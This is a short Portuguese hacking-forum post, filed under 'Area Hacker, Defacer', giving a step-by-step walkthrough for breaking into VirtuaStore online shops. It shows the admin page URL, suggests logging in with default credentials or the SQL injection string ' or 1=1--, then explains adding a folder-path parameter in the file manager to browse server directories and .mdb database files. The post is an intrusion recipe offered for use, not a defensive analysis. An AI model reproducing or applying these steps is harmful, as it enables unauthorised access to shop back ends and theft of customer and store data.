Escrito por: Edoardo, em 07-12-2007 10:33

Avaliação do editor:

Avaliação de usuários:    (0 voto)

Visualizações 358

Favorito 7

Vul url virtuaStore

Vul descorberta por shao e Stifluk

Dei algumas editadas e mais explicacoes

exemplo site

www.sitevirtuastore.com.br/administrador.asp?link=clientes&acao=olhar&cli=5

bem ai vai aparecer a tela de admin e tenta logar por admin 123456 ou com caracters ' or 1=1—

bem voce logando vai ate a opcao Gerenciador de Arquivos

ai o link no browser fica assim

www.sitevirtuastore.com.br/administrador.asp?link=util&acao=ftp&acaba=sim

bem e ai o que eu faco nesta url voce adiciona &pasta= isto em banco de dados quer dizer atribuicao

ou seja

administrador.asp?link=util&acao=ftp&acaba=sim&pasta=

sua url ficara assim

/administrador.asp?link=util&acao=ftp&acaba=sim&pasta=e:\home\shopcerto\web

tendeu mais tiu de onde saiu isto e:\home\shopcerto\web

Bem e simples quando voce logou no gerenciador de arquivos la tem e:\home\shopcerto\web entendeu

ou seja voce adiciona la na sua url &pasta=e:\home\shopcerto\web

bem com isto se der tudo certo voce estara vendo as mdbs ou os diretorios se tudo der certo e o site aceitar


www.games-mao.com
by elemento_pcx

Última Atualização: 17-01-2008 15:20

Publicado em: : Area Hacker, Defacer

Palavras Chaves : :.Area Hacker.:, Defacer, vul por browser virtuastore

Comentários dos Usuários (0) Comentários em língua: English (0)

Adicionar comentário